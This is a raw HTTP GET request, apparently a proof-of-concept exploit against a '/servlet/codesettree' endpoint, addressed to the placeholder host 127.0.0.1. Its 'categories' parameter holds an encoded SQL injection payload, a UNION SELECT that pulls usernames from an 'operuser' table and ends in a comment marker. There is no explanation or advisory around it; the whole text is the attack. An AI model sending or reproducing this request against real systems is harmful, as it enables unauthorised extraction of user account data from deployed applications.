```
GET
/servlet/codesettree?flag=c&status=1&codesetid=1&parentid=-1&categories=~31~27~20union~20al
l~20select~20~27~31~27~2cusername~20from~20operuser~20~2d~2d HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML,
like Gecko) 5bGx5rW35LmL5YWz
Accept-Encoding: gzip, deflate
Connection: close
```